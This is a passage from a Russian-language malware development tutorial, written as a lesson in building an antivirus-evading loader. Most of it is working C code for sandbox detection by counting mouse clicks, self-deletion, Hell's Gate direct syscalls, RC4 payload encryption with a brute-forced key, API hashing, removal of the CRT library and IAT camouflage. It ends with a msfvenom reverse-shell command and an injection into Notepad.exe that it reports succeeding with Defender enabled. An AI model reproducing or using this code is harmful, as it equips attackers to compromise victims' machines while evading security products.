if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
return FALSE;
printf("\n\t>> _T1 - _T0 = %d\n", (DWORD)(_T1 - _T0));
printf("[+] ГОТОВО\n");
return TRUE;
}
Функция AntiAnalysis
C:
// using the 'extern' keyword, because this variable is already defined in the 'Inject.c' file
extern VX_TABLE g_Sys;
//...
BOOL AntiAnalysis(DWORD dwMilliSeconds) {
HANDLE hThread = NULL;
NTSTATUS STATUS = NULL;
LARGE_INTEGER DelayInterval = { 0 };
FLOAT i = 1;
LONGLONG Delay = NULL;
Delay = dwMilliSeconds * 10000;
DelayInterval.QuadPart = -Delay;
// Self-deletion
if (!DeleteSelf()) {
// we dont care for the result - but you can change this if you want
}
// Try 10 times, after that return FALSE
while (i <= 10) {
printf("[#] Monitoring Mouse-Clicks For %d Seconds - Need 6 Clicks To Pass\n", (dwMilliSeconds / 1000));
// Creating a thread that runs 'MouseClicksLogger' function
HellsGate(g_Sys.NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, MouseClicksLogger, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Waiting for the thread for 'dwMilliSeconds'
HellsGate(g_Sys.NtWaitForSingleObject.wSystemCall);
if ((STATUS = HellDescent(hThread, FALSE, &DelayInterval)) != 0 && STATUS != STATUS_TIMEOUT) {
printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(g_Sys.NtClose.wSystemCall);
if ((STATUS = HellDescent(hThread)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Unhooking
if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
printf("[!] UnhookWindowsHookEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Delaying execution for specific amount of time
if (!DelayExecutionVia_NtDE((FLOAT)(i / 2)))
return FALSE;
// If the user clicked more than 5 times, we return true
if (g_dwMouseClicks > 5)
return TRUE;
// If not, we reset the mouse-clicks variable, and monitor the mouse-clicks again
g_dwMouseClicks = NULL;
// Increment 'i', so that next time 'DelayExecutionVia_NtDE' will wait longer
i++;
}
return FALSE;
}
Кратко о функции AntiAnalysis:
1. Она принимает dwMilliSeconds в качестве входного параметра, который представляет собой количество времени для мониторинга кликов мыши.
2. Эта функция начинает с вызова DeleteSelf для удаления файла с диска.
3. Затем запускается цикл while, который запускает MouseClicksLogger через новый поток и ждет его в течение времени, указанного в dwMilliSeconds.
4. После истечения времени потока хуки удаляются, и выполнение программы задерживается на половину значения переменной i, где i представляет собой значение для задержки выполнения в минутах.
5. Затем функция проверяет общее количество кликов мыши перед задержкой. Если их меньше 5, то глобальная переменная монитора кликов мыши, g_dwMouseClicks, сбрасывается, чтобы следующий цикл начал тестирование кликов мыши сначала.
6. Увеличение переменной i заставляет последующую функцию DelayExecutionVia_NtDE ждать дольше, создавая способ задержки выполнения в песочнице.
common.h
Код:
// Название нового потока данных
#define NEW_STREAM L":RuSfera"
BOOL AntiAnalysis(DWORD dwMilliSeconds);
Main.c:
C:
if (!AntiAnalysis(20000)) {
printf("[!] Обнаружена виртуальная среда\n");
}
Здесь 20000 представляет собой время мониторинга кликов мыши в миллисекундах.
NtDelayExecution через Hell's Gate
Hell's Gate можно использовать для вызова NtDelayExecution, что требует обновления определения структуры VX_TABLE, расположенной в Common.h, и функции InitializeSyscalls для добавления элемента VX_TABLE_ENTRY NtDelayExecution и его инициализации. Программе Hasher также потребуется использование для вычисления хеша для системного вызова, как это было сделано в предыдущих шагах.
Результаты анти-анализа
На следующем изображении показан результат выполнения функции AntiAnalysis во время выполнения.
Шифрование полезной нагрузки
Для шифрования полезной нагрузки будет использован файл HellShell.exe. Команда, которая будет использоваться, - это .\HellShell.exe calc.bin rc4, где calc.bin - это файл с необработанной полезной нагрузкой. Зашифрованная полезная нагрузка заменит предыдущую нешифрованную полезную нагрузку в файле main.c.
Кроме того, функция Rc4EncryptionViSystemFunc032, которая отвечает за расшифровку, будет сохранена в файле Inject.c.
Взлом методом перебора
HellShell.exe генерирует следующий ключ.
unsigned char Rc4Key[] = { 0x61, 0x1A, 0xA0, 0xAA, 0xA7, 0x92, 0x9F, 0xBA, 0x8F, 0xCE, 0x4C, 0xD8, 0x11, 0xFA, 0xED, 0xB9 };
Ключ будет зашифрован, а затем расшифрован с использованием метода перебора. Сначала ключ нужно зашифровать. Это будет сделано с помощью нового проекта.
Этот новый проект предоставлен в коде данного модуля и называется KeyGuard2.
Функция Rc4EncryptionViSystemFunc032 будет обновлена, чтобы включить логику метода перебора. Эта функция будет вызываться из RemoteMappingInjectionViaSyscalls.
C:
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
// Результат SystemFunction032
NTSTATUS STATUS = NULL;
BYTE RealKey[KEY_SIZE] = { 0 };
int b = 0;
// Перебор ключа:
while (1) {
// Используя намек байта, если это равно, то мы нашли значение 'b', необходимое для расшифровки ключа
if (((pRc4Key[0] ^ b) - 0) == HINT_BYTE)
break;
// В противном случае увеличиваем 'b' и пытаемся снова
else
b++;
}
printf("[i] Рассчитанное значение 'b' : 0x%0.2X \n", b);
// Расшифровка ключа
for (int i = 0; i < KEY_SIZE; i++) {
RealKey[i] = (BYTE)((pRc4Key[i] ^ b) - i);
}
// Создание 2 переменных типа USTRING, одна передается в качестве ключа, а другая - в качестве блока данных для шифрования/расшифровки
USTRING Key = { .Buffer = RealKey, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
Img = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
// Поскольку функция SystemFunction032 экспортируется из Advapi32.dll, мы загружаем ее в процесс с помощью Advapi32,
// И используем ее возвращаемое значение в качестве параметра hModule в GetProcAddress
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
// Если вызовы SystemFunction032 завершаются неудачно, они вернут ненулевое значение
if ((STATUS = SystemFunction032(&Img, &Key)) != 0x0) {
printf("[!] ОШИБКА SystemFunction032 : 0x%0.8X\n", STATUS);
return FALSE;
}
return TRUE;
}
}
Результаты взлома методом перебора
Выполнение полезной нагрузки (функции анти-анализа отключены).
Хэширование API
До сих пор все использованные WinAPI вызывались напрямую, что означает, что их можно найти в IAT реализации. Чтобы решить эту проблему, создается новый файл, ApiHashing.c, который содержит необходимые функции для реализации хэширования API.
ApiHashing.c
C:
#include <Windows.h>
#include "Structs.h"
#include "Common.h"
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {
if (hModule == NULL || dwApiNameHash == NULL)
return NULL;
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
// Хэшируем каждое имя функции `pFunctionName`
// Если оба хэша равны, то мы нашли нужную функцию
if (dwApiNameHash == HASHA(pFunctionName)) {
return pFunctionAddress;
}
}
return NULL;
}
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
if (dwModuleNameHash == NULL)
return NULL;
#ifdef _WIN64
PPEB pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
while (pDte) {
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {
// Преобразование `FullDllName.Buffer` в строку верхнего регистра
CHAR UpperCaseDllName[MAX_PATH];
DWORD i = 0;
while (pDte->FullDllName.Buffer[i]) {
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
i++;
}
UpperCaseDllName[i] = '\0';
// Хэшируем `UpperCaseDllName` и сравниваем значение хэша с входным `dwModuleNameHash`
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
return NULL;
}
Файл заголовка
Перед продолжением необходимо создать новый файл заголовка, typedef.h, чтобы определить используемые WinAPI в виде указателей на функции для ясности и возможности поддержки. Common.h будет необходимо включить файл заголовка typedef.h с помощью #include "typedef.h".
typedef.h
C:
#pragma once
#include <Windows.h>
typedef ULONGLONG(WINAPI* fnGetTickCount64)();
typedef HANDLE(WINAPI* fnOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef LRESULT(WINAPI* fnCallNextHookEx)(HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam);
typedef HHOOK(WINAPI* fnSetWindowsHookExW)(int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId);
typedef BOOL(WINAPI* fnGetMessageW)(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);
typedef LRESULT(WINAPI* fnDefWindowProcW)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
typedef BOOL(WINAPI* fnUnhookWindowsHookEx)(HHOOK hhk);
typedef DWORD(WINAPI* fnGetModuleFileNameW)(HMODULE hModule, LPWSTR lpFilename, DWORD nSize);
typedef HANDLE(WINAPI* fnCreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
typedef BOOL(WINAPI* fnSetFileInformationByHandle)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);
typedef BOOL(WINAPI* fnCloseHandle)(HANDLE hObject);
Структура API_HASHING
Далее в Common.h определяется новая структура API_HASHING, которая используется для хранения адресов используемых WinAPI, делая их более доступными для использования в функциях реализации.
Common.h
C:
typedef struct _API_HASHING {
fnGetTickCount64 pGetTickCount64;
fnOpenProcess pOpenProcess;
fnCallNextHookEx pCallNextHookEx;
fnSetWindowsHookExW pSetWindowsHookExW;
fnGetMessageW pGetMessageW;
fnDefWindowProcW pDefWindowProcW;
fnUnhookWindowsHookEx pUnhookWindowsHookEx;
fnGetModuleFileNameW pGetModuleFileNameW;
fnCreateFileW pCreateFileW;
fnSetFileInformationByHandle pSetFileInformationByHandle;
fnCloseHandle pCloseHandle;
} API_HASHING, *PAPI_HASHING;
Обновление VX_Table
Функции GetModuleHandleH и GetProcAddressH должны быть использованы для инициализации элементов структуры API_HASHING. Затем функция InitializeSyscalls использует эти функции для инициализации структуры VX_TABLE, которая используется для вызова syscalls.
C:
// ...
API_HASHING g_Api = {0};
BOOL InitializeSyscalls() {
// Получить PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return FALSE;
// Получить модуль NTDLL
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Получить EAT из NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return FALSE;
g_Sys.NtCreateSection.uHash = NtCreateSection_JOAA;
g_Sys.NtMapViewOfSection.uHash = NtMapViewOfSection_JOAA;
g_Sys.NtUnmapViewOfSection.uHash = NtUnmapViewOfSection_JOAA;
g_Sys.NtClose.uHash = NtClose_JOAA;
g_Sys.NtCreateThreadEx.uHash = NtCreateThreadEx_JOAA;
g_Sys.NtWaitForSingleObject.uHash = NtWaitForSingleObject_JOAA;
g_Sys.NtQuerySystemInformation.uHash = NtQuerySystemInformation_JOAA;
g_Sys.NtDelayExecution.uHash = NtDelayExecution_JOAA;
// Инициализировать syscalls
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtMapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtUnmapViewOfSection))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtClose))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateThreadEx))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtWaitForSingleObject))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtQuerySystemInformation))
return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtDelayExecution))
return FALSE;
// Экспортированный User32.dll
g_Api.pCallNextHookEx = (fnCallNextHookEx)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), CallNextHookEx_JOAA);
g_Api.pDefWindowProcW = (fnDefWindowProcW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), DefWindowProcW_JOAA);
g_Api.pGetMessageW = (fnGetMessageW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), GetMessageW_JOAA);
g_Api.pSetWindowsHookExW = (fnSetWindowsHookExW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), SetWindowsHookExW_JOAA);
g_Api.pUnhookWindowsHookEx = (fnUnhookWindowsHookEx)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), UnhookWindowsHookEx_JOAA);
if (g_Api.pCallNextHookEx == NULL || g_Api.pDefWindowProcW == NULL || g_Api.pGetMessageW == NULL || g_Api.pSetWindowsHookExW == NULL || g_Api.pUnhookWindowsHookEx == NULL)
return FALSE;
// Экспортированный Kernel32.dll
g_Api.pGetModuleFileNameW = (fnGetModuleFileNameW)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetModuleFileNameW_JOAA);
g_Api.pCloseHandle = (fnCloseHandle)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), CloseHandle_JOAA);
g_Api.pCreateFileW = (fnCreateFileW)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), CreateFileW_JOAA);
g_Api.pGetTickCount64 = (fnGetTickCount64)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetTickCount64_JOAA);
g_Api.pOpenProcess = (fnOpenProcess)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), OpenProcess_JOAA);
g_Api.pSetFileInformationByHandle = (fnSetFileInformationByHandle)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), SetFileInformationByHandle_JOAA);
if (g_Api.pGetModuleFileNameW == NULL || g_Api.pCloseHandle == NULL || g_Api.pCreateFileW == NULL || g_Api.pGetTickCount64 == NULL || g_Api.pOpenProcess == NULL || g_Api.pSetFileInformationByHandle == NULL)
return FALSE;
return TRUE;
}
Хеши WinAPI генерируются проектом Hasher, как показано ниже.
Следующий шаг - использовать структуру g_Api для вызова всех функций WinAPI, добавив перед каждой из них префикс g_Api.<WinAPI>. Например, функция OpenProcess должна вызываться как g_Api.pOpenProcess.
Ошибка хеширования API SystemFunction032
При попытке применить хеширование API к функции SystemFunction032 (которая не включена в структуру g_Api), произойдет следующее исключение.
При попытке выполнить SystemFunction032 по адресу 0x00007FFC42C09FF2 выбрасывается исключение. Похоже, это действительный адрес, так как он извлекается с помощью следующей строки кода:
C:
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddressH(LoadLibraryA("Advapi32"), SystemFunction032_JOAA);
Используйте xdbg, чтобы проверить адрес и понять причину проблемы
Функции переадресации
Адрес, полученный с помощью GetProcAddressH, не указывает на функцию, а указывает на строку "CRYPTSP.SystemFunction032". Это указывает на наличие функции переадресации, когда функция, экспортированная из одной DLL (DLL A), находится в другой DLL (DLL B).
Таким образом, вместо загрузки Advapi32.dll (DLL A) для поиска SystemFunction032 следует загрузить Cryptsp.dll (DLL B), так как он содержит фактический адрес. Это указывается строкой "CRYPTSP.SystemFunction032", которая дает намек на расположение функции. Это необходимо, потому что GetProcAddressH не обрабатывает функции переадресации. Внесением этого незначительного изменения код теперь будет успешно компилироваться и выполняться.
Удаление библиотеки CRT
Следуя инструкциям, описанным в Уроки - Разработка вирусов-33.Уменьшение вероятности детекта зверька, можно удалить библиотеку CRT.
Ошибка возникнет из-за использования функций printf и wprintf. Чтобы решить эту проблему, можно использовать пользовательскую функцию для замены этих функций. Функциональность печати будет включена только при включенном режиме отладки. Замены функций printf и wprintf следует сохранить в новом файле с именем Debug.h, который должен быть включен во все файлы, которые вызывают printf или wprintf.
Debug.h:
C:
#pragma once#include <Windows.h>// uncomment to enable debug mode
//\
#define DEBUG
#ifdef DEBUG// wprintf replacement
#define PRINTW( STR, ... ) \
if (1) { \
LPWSTR buf = (LPWSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 ); \
if ( buf != NULL ) { \
int len = wsprintfW( buf, STR, __VA_ARGS__ ); \
WriteConsoleW( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL ); \
HeapFree( GetProcessHeap(), 0, buf ); \
} \
} // printf replacement
#define PRINTA( STR, ... ) \
if (1) { \
LPSTR buf = (LPSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 ); \
if ( buf != NULL ) { \
int len = wsprintfA( buf, STR, __VA_ARGS__ ); \
WriteConsoleA( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL ); \
HeapFree( GetProcessHeap(), 0, buf ); \
} \
} #endif // DEBUG
C:
// Only print if debug mode is enabled
#ifdef DEBUGPRINTA("...");
#endif
Если попытаться скомпилировать после этого, появятся другие ошибки, потому что функции memcpy, memset, toupper также импортируются из библиотеки CRT. Чтобы исправить эту проблему, необходимо добавить пользовательские функции, которые будут выполнять ту же логику. Эти функции должны быть сохранены в файле WinApi.c, который показан ниже.
WinApi.c
C:
CHAR _toUpper(CHAR C)
{
if (C >= 'a' && C <= 'z')
return C - 'a' + 'A';
return C;
}
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
for (volatile int i = 0; i < Size; i++) {
((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
}
return Destination;
}
extern void* __cdecl memset(void*, int, size_t);
#pragma intrinsic(memset)#pragma function(memset)void* __cdecl memset(void* Destination, int Value, size_t Size) {
unsigned char* p = (unsigned char*)Destination;
while (Size > 0) {
*p = (unsigned char)Value;
p++;
Size--;
}
return Destination;
}
Есть еще одна ошибка, которую нужно решить: неопределенный символ _fltused. Символ _fltused - это глобальная переменная в библиотеке CRT, которая используется для определения, были ли в программе использованы операции с плавающей запятой. Создав новую переменную с именем _fltused и установив ее значение на ноль, ошибка будет исправлена. Это отражает инициализацию переменной библиотекой CRT, что приведет к тому, что компилятор построит проект без ошибок.
Камуфляж IAT
В качестве последнего шага следует добавить заголовочный файл IatCamouflage.h, который содержит тот же код, что представлен тут Уроки - Разработка вирусов-33.Уменьшение вероятности детекта зверька.
IatCamouflage.h должен быть включен только в файл main.c и вызван в начале основной функции, чтобы таблица адресов импорта реализации выглядела добросовестно.
Финальный результат
Эта демонстрация использует обратный TCP-шелл от Msfvenom, который генерируется с помощью команды, представленной ниже.
Код:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.16.111 LPORT=4444 -f raw -o reverse.bin
IAT AV.exe показан ниже.
Далее AV.exe внедряется в Notepad.exe с включенным Microsoft Defender.
Успешное обратное соединение устанавливается с атакующей машиной, и выполняется демонстрационная команда.
Процесс Notepad.exe имеет PID 20288, который совпадает с PID на предыдущем изображении.